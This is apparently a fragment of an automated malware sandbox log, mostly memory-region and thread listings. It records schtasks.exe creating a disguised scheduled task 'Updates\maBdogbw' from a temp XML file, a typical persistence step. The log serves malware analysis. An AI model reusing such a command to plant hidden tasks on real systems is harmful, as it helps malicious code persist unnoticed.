"c:\\windows\\system32\\spool\\drivers\\x64\\3\\unidrvui.dll") Region: id = 3176 start_va = 0x7fefc7f0000 end_va = 0x7fefc7fbfff monitored = 0 entry_point = 0x7fefc7f1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3177 start_va = 0x7fefdd80000 end_va = 0x7fefdf82fff monitored = 0 entry_point = 0x7fefdda3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3178 start_va = 0x7fefe8f0000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe8f3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3179 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3180 start_va = 0xc0000 end_va = 0xc4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.bud" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.BUD" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.bud") Region: id = 3181 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3182 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3183 start_va = 0x2070000 end_va = 0x233efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3184 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3185 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3191 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3192 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3193 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3194 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3195 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3196 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3197 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3198 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3199 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3200 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3201 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3205 start_va = 0x2340000 end_va = 0x253ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002340000" filename = "" Region: id = 3206 start_va = 0x7fef1f90000 end_va = 0x7fef2041fff monitored = 0 entry_point = 0x7fef1fff2ec region_type = mapped_file name = "mxdwdrv.dll" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\mxdwdrv.dll" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\mxdwdrv.dll") Region: id = 3207 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3208 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3209 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3210 start_va = 0x2540000 end_va = 0x293ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002540000" filename = "" Region: id = 3211 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3212 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3213 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3214 start_va = 0xd0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3215 start_va = 0x7fef8040000 end_va = 0x7fef805bfff monitored = 0 entry_point = 0x7fef8056748 region_type = mapped_file name = "fontsub.dll" filename = "\\Windows\\System32\\fontsub.dll" (normalized: "c:\\windows\\system32\\fontsub.dll") Region: id = 3216 start_va = 0xd0000 end_va = 0xd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3217 start_va = 0xe0000 end_va = 0xe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3218 start_va = 0xe0000 end_va = 0xe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3219 start_va = 0x2970000 end_va = 0x29effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 3220 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3221 start_va = 0xe0000 end_va = 0xe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3222 start_va = 0xe0000 end_va = 0xe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3223 start_va = 0xe0000 end_va = 0xe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3226 start_va = 0xe0000 end_va = 0xe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 3236 start_va = 0x29f0000 end_va = 0x2deffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000029f0000" filename = "" Thread: id = 239 os_tid = 0x874 Thread: id = 240 os_tid = 0x878 Thread: id = 241 os_tid = 0x87c Thread: id = 242 os_tid = 0x880 Thread: id = 243 os_tid = 0x884 Thread: id = 244 os_tid = 0x888 Thread: id = 245 os_tid = 0x890 Thread: id = 254 os_tid = 0xa60 Process: id = "12" image_name = "schtasks.exe" filename = "c:\\windows\\syswow64\\schtasks.exe" page_root = "0x7974b000" os_pid = "0xe3c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xc7c" cmd_line = "\"C:\\Windows\\System32\\schtasks.exe\" /Create /TN \"Updates\\maBdogbw\" /XML \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp\"" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e957" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3380 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3381 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3382 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3383 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3384 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3385 start_va = 0xa0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 3386 start_va = 0x210000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3387 start_va = 0xff0000 end_va = 0x101dfff monitored = 1 entry_point = 0x1007683 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe") Region: id = 3388 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3389 start_va = 0x778c0000 end_va = 0x77a3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3390 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3391 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3392 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3393 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3394 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3395 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3396 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3401 start_va = 0x360000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 3402 start_va = 0x74b70000 end_va = 0x74b77fff monitored = 0 entry_point = 0x74b720f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3403 start_va = 0x74b80000 end_va = 0x74bdbfff monitored = 0 entry_point = 0x74bbf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3404 start_va = 0x74be0000 end_va = 0x74c1efff monitored = 0 entry_point = 0x74c0e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3405 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3406 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3407 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3408 start_va = 0x774c0000 end_va = 0x775defff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000774c0000" filename = "" Region: id = 3410 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 0 entry_point = 0x775fa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3411 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000775e0000" filename = "" Region: id = 3412 start_va = 0x3e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 3413 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3414 start_va = 0x773e0000 end_va = 0x77426fff monitored = 0 entry_point = 0x773e74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3415 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3416 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3417 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3437 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3438 start_va = 0xe0000 end_va = 0x146fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3439 start_va = 0x76b90000 end_va = 0x76c3bfff monitored = 0 entry_point = 0x76b9a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3440 start_va = 0x766d0000 end_va = 0x767cffff monitored = 0 entry_point = 0x766eb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3441 start_va = 0x76270000 end_va = 0x762fffff monitored = 0 entry_point = 0x76286343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3442 start_va = 0x77890000 end_va = 0x77899fff monitored = 0 entry_point = 0x778936a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3443 start_va = 0x76300000 end_va = 0x7639cfff monitored = 0 entry_point = 0x76333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3444 start_va = 0x77180000 end_va = 0x7721ffff monitored = 0 entry_point = 0x771949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3445 start_va = 0x77490000 end_va = 0x774a8fff monitored = 0 entry_point = 0x77494975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3446 start_va = 0x769e0000 end_va = 0x76acffff monitored = 0 entry_point = 0x769f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3447 start_va = 0x75410000 end_va = 0x7546ffff monitored = 0 entry_point = 0x7542a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3448 start_va = 0x75400000 end_va = 0x7540bfff monitored = 0 entry_point = 0x754010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3449 start_va = 0x763d0000 end_va = 0x7652bfff monitored = 0 entry_point = 0x7641ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3450 start_va = 0x76ad0000 end_va = 0x76b5efff monitored = 0 entry_point = 0x76ad3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3451 start_va = 0x76850000 end_va = 0x768a6fff monitored = 0 entry_point = 0x76869ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3452 start_va = 0x752d0000 end_va = 0x752d8fff monitored = 0 entry_point = 0x752d1830 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\SysWOW64\\ktmw32.dll" (normalized: "c:\\windows\\syswow64\\ktmw32.dll") Region: id = 3462 start_va = 0x5f0000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 3463 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3464 start_va = 0x710000 end_va = 0x897fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 3465 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3466 start_va = 0x77430000 end_va = 0x7748ffff monitored = 0 entry_point = 0x7744158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3467 start_va = 0x77050000 end_va = 0x7711bfff monitored = 0 entry_point = 0x7705168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3468 start_va = 0x8a0000 end_va = 0xa20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 3469 start_va = 0x1020000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001020000" filename = "" Region: id = 3470 start_va = 0x70000 end_va = 0x81fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\schtasks.exe.mui") Region: id = 3483 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3484 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3485 start_va = 0x73e30000 end_va = 0x73e38fff monitored = 0 entry_point = 0x73e31220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3486 start_va = 0xa30000 end_va = 0xcfefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3487 start_va = 0x73d60000 end_va = 0x73ddffff monitored = 0 entry_point = 0x73d737c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3488 start_va = 0xd00000 end_va = 0xe6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 3530 start_va = 0x250000 end_va = 0x32efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 3557 start_va = 0x420000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 3558 start_va = 0x480000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 3559 start_va = 0x4f0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 3560 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3561 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 3562 start_va = 0x76530000 end_va = 0x765b2fff monitored = 0 entry_point = 0x765323d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3563 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 3564 start_va = 0x74c30000 end_va = 0x74cacfff monitored = 0 entry_point = 0x74c3166a region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\SysWOW64\\taskschd.dll" (normalized: "c:\\windows\\syswow64\\taskschd.dll") Region: id = 3625 start_va = 0x5f0000 end_va = 0x6affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3626 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Thread: id = 259 os_tid = 0xd10 [0288.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f8d8 | out: lpSystemTimeAsFileTime=0x24f8d8*(dwLowDateTime=0x1ca5ae50, dwHighDateTime=0x1d7b45c)) [0288.062] GetCurrentProcessId () returned 0xe3c [0288.062] GetCurrentThreadId () returned 0xd10 [0288.062] GetTickCount () returned 0xbfc780 [0288.062] RtlQueryPerformanceCounter () returned 0x1 [0288.062] GetModuleHandleA (lpModuleName=0x0) returned 0xff0000 [0288.062] __set_app_type (_Type=0x1) [0288.062] __p__fmode () returned 0x76c331f4 [0288.062] __p__commode () returned 0x76c331fc [0288.062] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1007881) returned 0x0 [0288.063] __wgetmainargs (in: _Argc=0x1019e6c, _Argv=0x1019e74, _Env=0x1019e70, _DoWildCard=0, _StartInfo=0x1019e80 | out: _Argc=0x1019e6c, _Argv=0x1019e74, _Env=0x1019e70) returned 0 [0288.063] _onexit (_Func=0x1010fe2) returned 0x1010fe2 [0288.064] _onexit (_Func=0x1010ff3) returned 0x1010ff3 [0288.064] _onexit (_Func=0x1011002) returned 0x1011002 